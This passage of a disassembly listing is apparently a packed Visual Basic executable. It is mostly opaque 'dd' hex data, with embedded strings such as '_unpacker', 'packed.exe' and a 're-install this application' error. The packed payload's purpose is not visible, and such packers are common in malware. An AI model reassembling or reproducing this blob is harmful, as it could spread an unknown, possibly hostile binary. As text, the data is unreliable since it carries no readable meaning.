		dd 0E5F4A1Ch, 42D14265h, 94296CCDh, 0B687E44h, 0EC3E1EB0h
		dd 0FC813FE4h, 7C472072h, 31ABF96Fh, 7EA5C876h,	0CA1C1E60h
		dd 8CD8ED45h, 196CC73Eh, 0C191FD3Fh, 0C1D4B50Bh, 0F9E3AF3Ch
		dd 35D62114h, 39CAD1A3h, 0FC81DBADh, 5FBE266Ch,	1A2387FEh
		dd 9FD8FCC6h, 6DA348F1h, 0DA5C7E2Dh, 13FF64C4h,	896AAB46h
		dd 0D8DDF528h, 0EF4BF92Eh, 82D6F72Eh, 8ED8ED30h, 0D8E1F93Ch
		dd 8EA23A88h, 4C432EB2h, 0F5C510B5h, 3C8EDEEFh,	6F111863h
		dd 0D89197Ch, 8C52285Fh, 61F7140Fh, 5F3719A9h, 0DD0C5272h
		dd 17CECF95h, 0A8B12586h, 9726A38h, 0A1316487h,	58578EE1h
		dd 4E29B360h, 5876ADC0h, 5E88BBA5h, 571DB350h, 32C0D56Ch
		dd 4A6587C2h, 567368Ch,	18000009h, 0C3EAF8CAh, 8F9EC48Eh
		dd 0B25B0F5Dh, 74055121h, 95CD99E9h, 5426B772h,	9AE87F0Eh
		dd 0DFB13DCCh, 246EE28Bh, 2BC7D8BEh, 33864D49h,	33BC4794h
		dd 0F88DD79Dh, 0CD03A068h, 8579DB87h, 574439B5h, 8EDFEEF6h
		dd 5C4FB28Ah, 6E7A8FFh,	0BB194F5Eh, 8C015B29h, 0ABF8A933h
		dd 20FDB70h, 541EB207h,	78D8F641h, 4739B5CCh, 4F5B6F56h
		dd 42342436h, 0FB6h, 64793D00h,	0A83FA8FAh, 82B2E3DAh
		dd 8B000004h, 0AFF36479h, 0A59DE035h, 2944CA52h, 0EE5797F2h
		dd 906F2EF9h, 89BC52ADh, 3C3F9C28h, 3BD73FAFh, 3FDE2B59h
		dd 0CE9677A4h, 0B85DF4CFh, 4B67BED1h, 3FDE2AE9h, 15B2BBEh
		dd 7144498Ch, 0E6F9AD61h, 0AFC24CF0h, 57881D74h, 2B9E300Bh
		dd 9A18D116h, 0F6C72279h, 2F0B9A9Fh, 4720B883h,	146FB6B9h
		dd 4C1062F7h, 2E5C7249h, 151EF7C9h, 0D8089D80h,	6134938Ah
		dd 19E6EFBBh, 64C8A846h, 86171F40h, 0E188DE25h,	0E911256Fh
		dd 910ADB27h, 7EE52C3h,	0E1710000h, 0A73AC397h,	72E28BDFh
		dd 38ABB220h, 6D7C6Ah, 6FB838AEh, 7F6B3BAAh, 3DA9F96Eh
		dd 0E2F0C22Ch, 0AB3F85DBh, 3414AAF5h, 0FB33864Ch, 9D33A35Ah
		dd 6DF88DD7h, 13AF061Dh, 39B58531h, 82241FFCh, 0C9CC1FA1h
		dd 9AB5AB39h, 0D2C9CA3Fh, 6931E777h, 0D02BE1B3h, 0EEB424B9h
		dd 357FD1F8h, 2FE49BEEh, 1349194Ah, 1D2B9782h, 0A780D823h
		dd 74CFD619h, 0E4C0FA5Ah, 0EDD0C53Fh, 0F13A7C92h, 0FC0145C9h
		dd 1D8236Fh, 0E73E898Ch, 13F269CBh, 1C67B446h, 1F4B194Fh
		dd 0D488DA0Eh, 24D2A431h, 31AEB5C8h, 450508AAh,	0D8000007h
		dd 83AA388Ah, 4F5E044Eh, 721B4F1Dh, 34C591E1h, 558DD9A9h
		dd 94E677B2h, 0DAA83FCEh, 1F71FD8Ch, 642EA24Bh,	0EB07187Eh
		dd 33864B89h, 697C0754h, 0C9184E7h, 0C4C993DFh,	7944CFDDh
		dd 0C92C157Ah, 195E20BEh, 28ED3F9Ah, 8480D0F5h,	552526FBh
		dd 0FAE8497Dh, 8AD80499h, 0F4BE12B3h, 0A23C97E0h, 3FE43DC2h
		dd 9EEC780Dh, 0F76D7C6h, 0C175AE4h, 0CB49B7F2h,	8EEBBE45h
		dd 266CFCF5h, 0B0950AF3h, 0F0E4B627h, 64B6BC1Dh, 2231A7EDh
		dd 6B2FD90h, 1D4D0000h,	0DB0E1F4Bh, 9ECEDF8Bh, 64F786CCh
		dd 2CB94016h, 33D40C5Ah, 431767F6h, 95D25BAh, 3EA4F660h
		dd 0FFEBB92Fh, 8688699h, 0D733864Bh, 9D33FF86h,	0BE4B627h
		dd 561C4C51h, 74AFFA0Eh, 0F7E3B127h, 33BFE21Bh,	71A42h
		dd 43610000h, 261h, 0D79D33B8h,	0D11CA28Dh, 0B47234CAh
		dd 14F93F9Ah, 23BFBA01h, 57384F69h, 1DB35A6Ch, 0ED780D57h
		dd 0D47AC99Dh, 4D6C8299h, 1045CAB4h, 0D40B9883h, 197B978Eh
		dd 0E44614B5h, 10B5CC37h, 0D5E4F2C0h, 9AAB3183h, 16617B4Bh
		dd 0B4531CB3h, 0C5BBF315h, 974573DAh, 46A19475h, 506EB5B8h
		dd 4BFBF6E1h, 0E13BCFCCh, 5D37D8BAh, 5F21607h, 0DD0D0000h
		dd 9BCEDF8Bh, 5E8E9FCBh, 24B7460Ch, 0EC790056h,	7394CC9Ah
		dd 35727B6h, 0C99DE57Ah, 0FEE4B620h, 0BF2B79EFh, 4828C6D9h
		dd 9733864Ah, 2E79BF46h, 0B584B090h, 8217B339h,	0D932E5B1h
		dd 19AA9102h, 5A6FDC7h,	23BD80D2h, 0D084CE02h, 0F5C2DD48h
		dd 3517AB63h, 0F839B554h, 0E02CBA1Bh, 42338E89h, 743h
		dd 2743C800h, 0B8000001h, 23D79D33h, 255048E3h,	7524694Bh
		dd 88000005h, 0B35A085Ah, 7F0E541Eh, 22CB9FEDh,	0E4F5E1B1h
		dd 5BD2979h, 0E4B627E2h, 2A78EFFEh, 6F41ADBCh, 0B4FE527Bh
		dd 9B37682Eh, 338649B9h, 332CD704h, 0F88DD79Dh,	26421A68h
		dd 0F56B306Bh, 4B583BAFh, 3B14481Ah, 0B584C5A7h, 2A8B0839h
		dd 0BFF60FD3h, 16F64233h, 7D000000h, 0B943h, 0BF0D5800h
		dd 0A5DC6980h, 4340FBC2h, 0AAh,	84E769B8h, 39A54691h, 421C67h
		dd 0B3F9AB4h, 0E769D28Ah, 0A5469184h, 697C6032h, 0E8D3ACF6h
		dd 0CBE23FD6h, 0C02DBE45h, 5FBC97EEh, 0A8B065ABh, 0BADBF931h
		dd 4D0h, 21B5FF53h, 0EDF9C918h,	94C290DCh, 5E045685h, 64C1E4Fh
		dd 618C49DEh, 23B44511h, 0F4620B5Fh, 0B32534A2h, 8093F5E1h
		dd 86490E6Eh, 0F97CD133h, 9184E769h, 9CC7BA01h,	5144493Fh
		dd 9531F4Ch, 0F66B184h,	451F6FFEh, 0C586D50h, 0D28AEA04h
		dd 40553FDEh, 8AE7F3E7h, 8D3FDED2h, 57D9BD3Eh, 41B4423Eh
		dd 30A6EC7Ch, 0F3E9BB29h, 45FA2h, 0E7699B00h, 0C399E974h
		dd 942A71D2h, 3F9AB3D2h, 0FEE20259h, 0EDE0B50Ch, 61EF480Ch
		dd 62FB170Eh, 1D45CBC8h, 96D04AF8h, 0B40E31A8h,	42FE1h
		dd 0D6A03200h, 1E68F980h, 6133A148h, 0ABF76475h, 0EFBF2E3Fh
		dd 69AC7BFBh, 2D3CAAFCh, 0D3FAE8BAh, 94A53183h,	36687E44h
		dd 4873D5EDh, 19BA3386h, 84E76962h, 0B4390191h,	71C83F9Ah
		dd 0E4B6FF61h, 90F00E3Fh, 5F3FE4B6h, 9576A7BEh,	0EBE63B8Eh
		dd 43DE5B52h, 4C9C2178h, 17495006h, 0AF3C174Dh,	5B3DD53Dh
		dd 0A23FE49Eh, 42AD9071h, 546AB1BCh, 45C9CD81h,	0E53C67B4h
		dd 94C595C0h, 0B3627A48h, 9FE57B48h, 0E4AE22CBh, 0E609B7F0h
		dd 0F5C623BFh, 8C014BFAh, 0D7BBC666h, 83922037h, 390h
		dd 61753F93h, 2DB90958h, 0D482D01Ch, 9EC496C5h,	460C5E8Fh
		dd 0A1CC091Eh, 63F485D1h, 34A24B1Fh, 0F3657462h, 405335A1h
		dd 8647CEAEh, 39BC1133h, 0CCD79D33h, 84FB5D75h,	0D1C239B5h
		dd 9D33D2EAh, 1EA083D7h, 0BF36C8D3h, 3E3F9CB5h,	59AC87DDh
		dd 97E8CC68h, 922C1788h, 3FDF76B6h, 411B69FBh, 2CCB02FAh
		dd 7C6D9075h, 0AB39A3EFh, 0D226A3FEh, 0CB229CF7h, 0E0485DA9h
		dd 9AC290C3h, 5808007Bh, 9F000000h, 3C32E769h, 311FD6E7h
		dd 94EF3697h, 0CDC3A53Dh, 538039B4h, 0A5B85D07h, 0CE5434CAh
		dd 7A9B39B4h, 0BD0CA299h, 0A03F9BCDh, 0CA762245h, 0E9CC32D0h
		dd 0F66BD5Eh, 0DDC591F3h, 44BF5C3Fh, 61F2136Ch,	734A4B11h
		dd 0DDC6015Fh, 0A5E0293Fh, 5C1CD42Dh, 0F30848h,	339F0000h
		dd 0F88DD79Dh, 0A6471D6Dh, 697C6032h, 1D39ADF7h, 39B5816Dh
		dd 9C24B114h, 0D2DC3AACh, 69AC3082h, 0C010B588h, 0AA5CABF2h
		dd 3CF6A45Dh, 2A3397EEh, 9FE8ECB6h, 0D18BDB0Eh,	0BB58918Ah
		dd 0FE8B6F2h, 2843CD34h, 3181D0F5h, 4B58B3CAh, 85084C16h
		dd 4BA520BEh, 45203F9Dh, 0F1CE7F26h, 0E5435DDh,	4D509B25h
		dd 0C748D0B5h, 95C6E745h, 7F4394C5h, 0F24DB065h, 0A0347ED1h
		dd 74898C6Dh, 18F869E9h, 3EA7FC79h, 0E1FB549Bh,	9DC78BDCh
		dd 0A83E9F78h, 0FE5E70CBh, 1460A62h, 0A628FF1h,	0A6BD5E46h
		dd 30BD0E75h, 2682A85Eh, 3A9831A5h, 2035Bh, 0FACC1E00h
		dd 3A8CDDECh, 7D4F9DACh, 47134069h, 8BDB0A13h, 458067DFh
		dd 9104618h, 37C68CD6h,	0F881D5A7h, 0CA4C1A68h,	465739C9h
		dd 35A63386h, 0D0A2338Eh, 0DDAD38CDh, 9B2F1687h, 4E145EF2h
		dd 3EE76915h, 0B584C0A0h, 2D8E0F39h, 18E993F6h,	0F94B5767h
		dd 8691892Dh, 0E8D3F2BBh, 0D3EF4691h, 39B48C71h, 4A645FBCh
		dd 3F9B8B7Bh, 95F70B62h, 583FDD8Bh, 24E940BBh, 728CE7B0h
		dd 3FDD8C12h, 0EDC538DDh, 3FDD8B8Fh, 9B336EBBh,	485BE362h
		dd 0F09Ah, 9D33E100h, 0FDE7B527h, 25BF18h, 0C3DF85D5h
		dd 39B58193h, 0D73FAD3Eh, 0B58A593Bh, 9677A439h, 0D7F4CFCEh
		dd 96A73381h, 36C7042h,	9A2B727Dh, 0AC617B4Bh, 2B8A0165h
		dd 146F3B6Fh, 0E0E8E5FDh, 0DEEF3F9Ch, 87A63E90h, 0BE5F0557h
		dd 1D567CDDh, 0CA257873h, 0DD4E757Fh, 70A53F91h, 95A18121h
		dd 228A10AEh, 0F41945C8h, 81D11CA1h, 0A8C33ADBh, 0A5F8CA1Bh
		dd 0BE85D500h, 82D40128h, 0A5F0E874h, 85882A31h, 0E8h
		dd 0C99DE77Bh, 0F5E1B120h, 0BC2A78E4h, 666C3EADh, 2EB40657h
		dd 499451B6h, 0B5C6D79h, 0DC0A1347h, 9BCDDC8Ah,	98FB9DC9h
		dd 86452606h, 0D164E933h, 0B0902E79h, 7F39B584h, 28ACFE6Eh
		dd 0AC3104E5h, 0D32A7141h, 0B5855D3Fh, 873A039h, 94C0E5BEh
		dd 7AEEFFC6h, 0C4D9BA28h, 0DDAD3E94h, 6EB5587Ch, 0B584F050h
		dd 0E7DE3F39h, 0F464796Ch, 25BF0F5Eh, 484D17F0h, 0B2005075h
		dd 0FFC51B2Ah, 0FBF698EBh, 83D103A0h, 805161B8h, 6F3F9AB4h
		dd 0B4794418h, 8C015B27h, 11A47D85h, 9B82132Ah,	0C88CD60Ah
		dd 8ED6A835h, 7D57AE0Fh, 0B0508122h, 6FA0E926h,	0D68E6F88h
		dd 79EFFCC7h, 633C86DBh, 0A0F26677h, 81D243Ch, 533C4A6Ah
		dd 0A7ED6338h, 0ECB62A33h, 3486D5E8h, 0C0712A0h, 1F4B194Fh
		dd 0D488DA0Eh, 341h, 2DD6BA00h,	8FD59F33h, 44186AFEh, 796335A1h
		dd 35AFF364h, 0EFF5C510h, 0A53F8FDEh, 5D075380h, 164E1C48h
		dd 0CC90E277h, 0E7895774h, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 68243C89h, 7D5Eh, 52243489h,	0C281E289h, 4, 4EA81h
		dd 14870000h, 4895C24h,	0B8505224h, 3E3422C6h, 1B1076BAh
		dd 58C23138h, 545AD689h, 8124048Bh, 4C4h, 34815600h, 0E9002D24h
		dd 8408F60h, 2DBA52h, 503160E9h, 48B5A08h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 5224348Bh,	0C281E289h
		dd 4, 4C281h, 14870000h, 20E95C24h, 11FFFB08h, 5342F217h
		dd 2F4155B8h, 0FFC50306h, 4DBFCDE0h, 0FD2522Fh,	9F816E61h
		dd 32C10258h, 0FB6F9068h, 9A34DD0Bh, 0ABF74717h
		dd 0C272DC1Ch, 59A3EE43h, 0B1195A25h, 0D26A6D79h, 1A8EEE7Ah
		dd 0E5FAB919h, 6A834746h, 1A963861h, 5D57B630h,	968F141Bh
		dd 499C6912h, 55AA7E4Dh, 87827173h, 8C0FE30Fh, 937F7D5Fh
		dd 9093030Ch, 5F49625h,	0D77A410Bh, 0DA451955h,	0AE868h
		dd 0B8AD0000h, 2D0D02Eh, 56A97512h, 6E9h, 0F0011600h, 594A0078h
		dd 0AE9h, 0BE2C3300h, 8B3BD6B5h, 814F8958h, 71D4C1h, 7C21B800h
		dd 0F0811A54h, 1A546062h, 31FFF88Bh, 12E960h, 0E14A0000h
		dd 0FB3F67CBh, 3652E578h, 0CA620EBFh, 0A04EF43Eh, 8A605E61h
		dd 5E9D1h, 25220000h, 61A36F3Ah, 0A8B9EE81h, 81662000h
		dd 810892C7h, 0BFCD09F6h, 28C0F0Bh, 8A000000h, 8CEE81DEh
		dd 80599B38h, 5656DFEFh, 9B39BF66h, 60018F5Fh, 0E8D2B70Fh
		dd 12h,	58810C51h, 4229782Fh, 1BCF9F18h, 0C72675C1h, 5857F40Dh
		dd 0E983615Fh, 4880BA03h, 0F496C78h, 380h, 0D9B70F00h
		dd 1E881h, 850F0000h, 0FFFFFF6Eh, 8D8DF88Bh, 62F43E1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 23C35646h
		dd 98CF0631h, 17A2E681h, 860F0E4Ah, 6, 2F759509h, 8D890629h
		dd 6291E6Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	19C35141h, 6D9529CCh, 0C7062931h, 292D8185h, 67A006h
		dd 0FD850300h, 0F062910h, 85C7D8B7h, 6292005h, 0
		dd 0FFD38B66h, 290F71B5h, 0CE806h, 10030000h, 6FD1BC45h
		dd 30E07850h, 0FF5AA634h, 2931E995h, 0C59D8B06h, 0F06290Dh
		dd 6AD2BFh, 59195FFh, 0C08B0629h, 289F08EBh, 0DFFEB138h
		dd 7CE9728Ah, 0D1000001h, 0C571D3C6h, 4377E705h, 5F6D5C3Ah
		dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h
		dd 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 7 dup(0)
		dd 0E9000000h, 1AFCh, 2F478A68h, 381EE906h, 6B68FFFAh
		dd 0E9062F48h, 0FFFA3814h, 2F498F68h, 380AE906h, 6068FFFAh
		dd 0E9062F4Ah, 0FFFA3800h, 2F4AB168h, 37F6E906h, 6F68FFFAh
		dd 0E9062F4Bh, 0FFFA37ECh, 2F4BD168h, 37E2E906h, 1868FFFAh
		dd 0E9062F4Ch, 0FFFA37D8h, 2F52FE68h, 37CEE906h, 9F68FFFAh
		dd 0E9062F53h, 0FFFA37C4h, 2F544668h, 37BAE906h, 1E68FFFAh
		dd 0E9062F55h, 0FFFA37B0h, 2F558968h, 37A6E906h, 5468FFFAh
		dd 0E9062F56h, 0FFFA379Ch, 2F56EE68h, 3792E906h, 7068FFFAh
		dd 0E9062F57h, 0FFFA3788h, 2F5D7568h, 377EE906h, 6468FFFAh
		dd 0E9062F5Eh, 0FFFA3774h, 2F5EFB68h, 376AE906h, 69F6FFFAh
		dd 0A2BE589Ah, 0A005E353h, 14CD2B2Bh, 339177E7h, 0F4ECBCBEh
		dd 16C4492Fh, 5B9B16F0h, 9D51DABDh, 282AA37Bh, 7EF1258Ch
		dd 6B7A3DA8h, 624B234Ah, 6CEEC334h, 17652E80h, 775CD5B1h
		dd 0EDEB2209h, 845D826Ah, 78C82C77h, 8F4FC6A6h,	328AAC6Dh
		dd 0F2DD5036h, 8ED1DF34h, 2038B1F1h, 8C8AD33Ah,	7A45A1C2h
		dd 6084622Dh, 86960313h, 69E93DDBh, 74B3CF87h, 3FA3h, 59C08800h
		dd 0B377FC5Fh, 0AC0F0B50h, 15806CEEh, 0DCDA230Ah, 7A45EE8Ah
		dd 0B59C6A35h, 0EEC5366Ch, 612C8695h, 95EEC235h, 1D642F86h
		dd 0EE7CFB3Fh, 0D4708695h, 0E720C052h, 0D8DA74B3h, 13000000h
		dd 11E960C4h, 9254D9BFh, 69D1583Ch, 9C5ED7B7h, 6CEB9FD8h
		dd 119A7280h, 6CF392E5h, 0CD147F80h, 34906009h,	1DF95FBDh
		dd 0F40F6096h, 0A9FA806Ch, 7722F84Eh, 989EE7CCh, 806CF417h
		dd 6ABB9182h, 45C4CA2Ch, 0BDF9C27Ah, 8696253Ah,	18E971A7h
		dd 127DDB31h, 4896FC9h,	0D30B61A2h, 0C2F476BAh,	24C2362Fh
		dd 18A376D0h, 0B7DAC733h, 94FF8071h, 3C92664Fh,	8B00DBB1h
		dd 2280D43Fh, 65944C4Ch, 0AAE8311Ah, 8CC20D49h,	58862B0h
		dd 0F81EDE3Ah, 7496971Ah, 3DAD5C67h, 1831E6C9h,	914E0000h
		dd 0CA16F062h, 78DD3B3Bh, 0BCA543F3h, 8B698F4Fh, 4C84D406h
		dd 0AEAC2187h, 0F363EE48h, 3539B215h, 40F27BD3h, 26898DE4h
		dd 937A3DA8h, 66C44BF2h, 298D6BEBh, 0C039B2A0h,	8D89D259h
		dd 7A45EF59h, 49AD1D06h, 8695EFEAh, 0E159AAB7h,	62C4492Fh
		dd 0EF84F723h, 226D8695h, 0EC45AFCh, 4DC559FFh,	74B3E6A3h
		dd 0C05Fh, 0DC0A7600h, 0CE820F5Fh, 0BB820FEDh, 60C4925Dh
		dd 0AC088364h, 8E7843CEh, 0E1C26AC8h, 8DF552F7h, 67AE1863h
		dd 0CCBA3791h, 4671B187h, 44806C5Ch, 0D49219FCh, 633B99FFh
		dd 2E8E68EAh, 9009C3A7h, 62D4C22Bh, 4D7A4534h, 27F210C2h
		dd 8343B79Ch, 938070EFh, 8AEE63C5h, 1EFAC34Ch, 0A0E835B8h
		dd 0C743CBC4h, 0DC92F4Eh, 6B9815EBh, 0AD5D374Dh, 5089DED4h
		dd 0AF000017h, 759343B0h, 38DE1CEDh, 8264D65Dh,	50B6A457h
		dd 0AFFF7FF2h, 8508EE33h, 58D5B751h, 109B7C9Ah,	0E960C422h
		dd 0B2E0C165h, 7A3DA741h, 4B6E95A8h, 0C808B845h, 6C8469CAh
		dd 0C1CF5080h, 73599C25h, 80B23F9Dh, 0CF0F8666h, 0E960C444h
		dd 0F9603011h, 0EC482E0Ah, 3898F165h, 2486D221h, 9CE5CE75h
		dd 0EEEC4F4Bh, 0C7D5806Ch, 0B583EA1Bh, 45EA5575h, 8364BA7Ah
		dd 0F5AB0C0Ah, 0D168695h, 0B6FDB22h, 8695F5ACh,	0F082A420h
		dd 74B3DCF0h, 0E20Ah, 9177C100h, 0B937381Ch, 9C6B9515h
		dd 0CE570FDAh, 42D7B187h, 70669CF9h, 0A07A4546h, 0AFC77D0h
		dd 3A65F3D9h, 0D5CD783Ch, 7DDB531Fh, 9FBB119Ah,	0E9B00A6Eh
		dd 7B73C867h, 0FF59658Eh, 745FB472h, 19FFC02Dh,	1C7733C0h
		dd 1770C337h, 36595B30h, 0FDE8AEE2h, 61CF5508h,	0F3512FEEh
		dd 46200B10h, 45AE1584h, 3541B451h, 210A155Bh, 81798A57h
		dd 0B6E15240h, 47C86785h, 6335187Ch, 0B9D0028Bh, 0A2F67FDFh
		dd 5CE168CCh, 0D298BD2Ah, 2CBC0387h, 4B000016h,	19FF7F8Ch
		dd 0E40230C1h, 0AE488A01h, 749240B3h, 8BDB1B96h, 0A12C824Fh
		dd 7CF14BADh, 34BF18FEh, 8D04E006h, 9E84ED49h, 7A3DA61Dh
		dd 0C442E984h, 4CAFEB60h, 0B5806CEFh, 652783EAh, 0F0260FB4h
		dd 7A45E9D2h, 81E86A35h, 61D92A37h, 0B91DD622h,	307B1E15h
		dd 0D6A7AFEBh, 7087A45h, 90CE9FD3h, 1287FF6Eh, 7CCA4124h
		dd 0B9E7CC17h, 3C94BF8Dh, 7352A68Eh, 98A54F07h,	1BEFB007h
		dd 4976D841h, 14EDBA56h, 6DCB107Bh, 6DA60089h, 55F0260Fh
		dd 430DC42Dh, 0BE9A17F5h, 6A96FFA0h, 0C1C70144h, 0F2D339A9h
		dd 0C9CD4626h, 1A143F66h, 9CF9C053h, 58C88F6Ch,	7642AD20h
		dd 5E399FF6h, 2B728158h, 68F6FCDh, 0A34B7E5h, 13A46A20h
		dd 155Bh, 8E4CBFA4h, 0CD01F068h, 15D9522Bh, 0A19566F3h
		dd 0EE6CE147h, 7FDD22BEh, 0C4A640F2h, 88638549h, 5135D303h
		dd 0D7BE1AD8h, 3DA550A3h, 11A4B97Ah, 0C334624Bh, 56806CEEh
		dd 35EB79F4h, 386BDF2Ch, 4125FBD1h, 84DF3BC8h, 4C42B9B1h
		dd 150A7Bh, 1DEE7500h, 0D2233FD9h, 0AC278660h, 629148AEh
		dd 3DB016F0h, 0AC716939h, 759343CEh, 3ADC1E93h,	8E68EA61h
		dd 13B7A72Eh, 0A4F344B2h, 0C7DE7A3Dh, 6460C4BCh, 0A90A0881h
		dd 10806CEEh, 6DDD240Fh, 6441EAAFh, 45C2703Eh, 0B510E07Ah
		dd 3D1B483Eh, 65FE7C27h, 2B900902h, 2BED4C2h, 7E21806Fh
		dd 7F8984F8h, 85142117h, 0E9A1D53Eh, 0CE2340D5h, 7227E545h
		dd 0D497D3ECh, 0D80BFF72h, 25F447D4h, 885F1DAh,	1E296D8Fh
		dd 36EC135h, 0C85B35BEh, 0C2A076ECh, 0B91F644Fh, 8FC072DCh
		dd 3A1B0C33h, 0D83C17D3h, 72D4ACF5h, 0FCD80BFFh, 737BE1Eh
		dd 7F8C05E1h, 4604229h,	4CBD0288h, 0AB000014h, 799F5FACh
		dd 0C42210E1h, 8E68EA61h, 54B2A053h, 0ABFB7BF6h, 810CE22Fh
		dd 5CD1AB4Dh, 149F789Eh, 0ED64C026h, 0BEE4CD69h, 7A3DA43Dh
		dd 666289A4h, 806CEF15h, 6CDED926h, 8D69CF80h, 0FE9F1006h
		dd 190A806Ch, 3D1B483Eh, 6CEE7EFDh, 0F3AB980h, 7E7806Dh
		dd 64917D8Eh, 1A90B9B1h, 13EAB5h, 3DCE1500h, 0F203DF39h
		dd 4CC7A640h, 2F1688Eh,	0DD5036D0h, 4C914919h, 15F363EEh
		dd 0DA3C3EB3h, 0AE488A01h, 339747CEh, 0A3D32452h, 273E7A3Dh
		dd 0D259C09Ch, 0E47D8D89h, 31627A45h, 8876480Ch, 12A569B3h
		dd 13A3h, 46F407DCh, 8549B8A0h,	0CD018A63h, 19DD2E2Bh
		dd 0A69419FFh, 0B715DAF6h, 7CDE383Ah, 0C09B7DF1h, 896D8B4Bh
		dd 1F76D200h, 3DA2981Bh, 0D96C017Ah, 0DEB60C4h,	0A5921AAh
		dd 6CEEAB0Ch, 220D1680h, 0D0AB0D44h, 50A4EF5Bh,	0BC1E1AF2h
		dd 0A210D631h, 0E072B4h, 3A7ADCE4h, 39h, 2F0CAFD1h, 0EEFC7E57h
		dd 6C9147A8h, 86E1B280h, 90F679BDh, 0B0E3806Ch,	1966EB64h
		dd 80806CEFh, 0EDA9AD24h, 80386BC3h, 27CC3C19h,	75A090F9h
		dd 4D12E632h, 130Fh, 0E960C422h, 55DEBB11h, 0BD500A08h
		dd 147F7A45h, 0EC55C426h, 962345B6h, 98E3AC86h,	137B47B3h
		dd 4A93806Fh, 0BF34EB4Ch, 0F168D68Ch, 3CF55633h, 0ED4200Bh
		dd 0FE583805h, 7C552573h, 0F149C0A4h, 5E04692h,	53254C8Eh
		dd 0E3277586h, 8CBF4E93h, 3125D40Ch, 0CFA0BD7h,	167F8E4Ah
		dd 1765E842h, 653358A3h, 82E0A87h, 0C4352D16h, 879F4116h
		dd 245B6E8Ah, 90000002h, 89D259C0h, 45BD758Dh, 70CBAD7Ah
		dd 0DC479DFBh, 0CB3821F7h, 9FBB1DEDh, 0CD699A4Bh, 2D8BF363h
		dd 2A79C14Ah, 9E7A13C3h, 93F0B63Dh, 887BE745h, 969A298Ah
		dd 0A48F9086h, 8A51AEC2h, 0DC628696h, 10E1794Ah, 7F46DCBh
		dd 42D73531h, 62C49CF9h, 0ECC81BEFh, 7FD8B881h,	0AA60A0F4h
		dd 0D806F7Bh, 8B6DA402h, 0FB7CBA35h, 0E68CBFD8h, 0BF9452BDh
		dd 0AA25FB59h, 0BFD90B6Ch, 42ADF68Ch, 53323779h, 875D6705h
		dd 0FD53B5B1h, 0EB4D2B70h, 75438066h, 0F0146185h, 11278CBEh
		dd 0DB56340Dh, 9B20F91Bh, 0EA3E44B2h, 0FEA18697h, 7FF65608h
		dd 34BD19FFh, 0F5BD3E72h, 0FB5C92E7h, 72D0B670h, 73190BFFh
		dd 55EB17ABh, 9D14F0D1h, 52A3BF59h, 0D7263294h,	0DA4C0813h
		dd 528071E9h, 61E0DB05h, 4D298F68h, 1A65EE49h, 9C4F3Eh
		dd 0C4E40000h, 0AEDECE66h, 3EC80C09h, 0DFBD13D7h, 0AAF57EDFh
		dd 9589CFDCh, 7A43CEACh, 0A492E511h, 147F806Ch,	915304C0h
		dd 0A97ADD2Dh, 6Eh, 0BCE83860h,	0C7D8572Fh, 60C47EF1h
		dd 0DFBF11E9h, 0CD8B9056h, 929EE759h, 1B7B5CE8h, 0EC4F4B0Ah
		dd 0D5806C1Ah, 2C886E4Ah, 0FEE6B1A5h, 347ADDB7h, 3Ah, 485FADD3h
		dd 0F1D053CAh, 59C0A89Bh, 758D89D2h, 5A7A45E9h,	0BE3D71C9h
		dd 0E8695F5h, 0B5067C45h, 1C8695F5h, 17452C56h,	0E1C843AAh
		dd 21B1758Bh, 74B3B0BFh, 9E7Bh,	59C0F000h, 0EF51A2D0h
		dd 0D7B8806Ch, 9B73A78Ch, 7C7A45BAh, 69F15713h,	0A4BC5A98h
		dd 0E4BC9555h, 0D73C8A01h, 0A03161A9h, 795F90CDh, 0F84EBF9Bh
		dd 5071B593h, 0CB1C7988h, 96B06CCFh, 0EECA5586h, 25B7396Eh
		dd 4E7374B3h, 0F8000000h, 0F4D156C0h, 83EE7DA3h, 7CA1F39h
		dd 0FB1EF131h, 0FD4BB19Bh, 4A9F1208h, 0F941A85Dh, 6BF23685h
		dd 3EE07800h, 0CB109501h, 60F2BEE2h, 4933AD35h,	446C2F63h
		dd 16E2319Ch, 44F3BCAh,	0F5792A30h, 0EE2h, 0AD7A100h, 0F6C201F9h
		dd 3B357Dh, 0C4BA0000h,	0BA1CEA61h, 9EF6F9Eh, 0F4620D1h
		dd 0EE7FF026h, 3B6A806Ch, 6CEE7CFFh, 0D33A6580h, 44722385h
		dd 0B49F6BE6h, 0CF999D6Dh, 0D5319C71h, 7D67EF37h, 0B57ADCE7h
		dd 0B1Ah, 0D455C0BEh, 6CEF4DAEh, 80EBB480h, 0BAAEC226h
		dd 58FC07C7h, 0AFA44CC6h, 495EF131h, 97000000h,	8308ED4Bh
		dd 2E88EC27h, 0BBFFC467h, 806CEF38h, 9BE773A1h,	92F149C2h
		dd 0DD99454Bh, 661DF4C8h, 4657AB1Fh, 5EE71FE0h,	0BCEC64BAh
		dd 426B47A4h, 0B114E0F1h, 31074C3Ah, 694A02E2h,	25638D1h
		dd 1D70000h, 3CC28D9h, 6FD655C0h, 60C4E962h, 2DA66EE9h
		dd 0DCDB7B75h, 50B77Dh,	525E0000h, 46829FB1h, 97328923h
		dd 75A1E11Dh, 0C005CE2Ah, 0A48DD655h, 6CEEFD7Eh, 5DBBE480h
		dd 96624B92h, 0D05D3335h, 14D23D16h, 96C6351Ah,	3611E483h
		dd 9950AEE2h, 0ECB7806Ch, 0C4804B65h, 9E63EA61h, 0F846137h
		dd 0C30C68BBh, 2B35h, 55C0BA00h, 4F4B6FD6h, 806CEEEFh
		dd 4B49F003h, 0EA61C480h, 0DE9F9F81h, 6EBCD86Ah, 58BC4F8Ah
		dd 20454B97h, 755F6775h, 0C27189EFh, 41C14F66h,	21AC02B7h
		dd 12997CC4h, 0DD197F54h, 0A8EA633Bh, 0B1E568CEh, 7750D672h
		dd 49D81E97h, 0FE94BB47h, 0DEBFCA8Ch, 57BE9555h, 42CBA301h
		dd 7B4BCB50h, 9C7849DDh, 6BC32515h, 70D6B0E2h, 0C26264D2h
